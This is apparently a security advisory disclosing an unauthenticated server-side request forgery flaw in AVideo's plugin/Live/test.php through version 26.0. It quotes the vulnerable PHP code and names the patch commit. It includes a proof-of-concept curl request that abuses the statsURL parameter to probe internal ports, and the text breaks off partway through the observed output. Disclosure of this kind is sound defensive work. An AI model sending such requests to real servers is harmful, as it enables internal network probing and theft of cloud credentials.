WWBN AVideo is an open source video platform. In versions up to and including 26.0, an unauthenticated server-side request forgery vulnerability in `plugin/Live/test.php` allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints. Commit 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3 contains a patch.

Affected: Packagist: wwbn/avideo

### Summary An unauthenticated server-side request forgery vulnerability in `plugin/Live/test.php` allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.

### Details The endpoint accepts `$_REQUEST['statsURL']` and only checks that it starts with `http`:

```php $statsURL = $_REQUEST['statsURL']; if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) { exit; } ```

It then calls:

```php $result = url_get_contents($statsURL, 2); ```

Inside the same file, `url_get_contents()` performs a real outbound request with `file_get_contents()` when `allow_url_fopen` is enabled:

```php $tmp = file_get_contents($url, false, $context); _log('file_get_contents:: '.htmlentities($tmp)); ```

There is:

- no authentication check - no allowlist of trusted stats URLs - no SSRF-safe URL validation - reflected response/error output

Validated on source:

- [test.php](https://github.com/WWBN/AVideo/blob/781aa070a61a93b1c368fca3db862bc70bad2e04/plugin/Live/test.php)

### PoC Target used during validation:

```text http://127.0.0.1:80 ```

1. Probe a closed localhost port:

```bash curl -s \ 'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/' ```

Observed response excerpt:

```text Starting try to get URL http://127.0.0.1:1/ url_get_contents start timeout=2 Warning: file…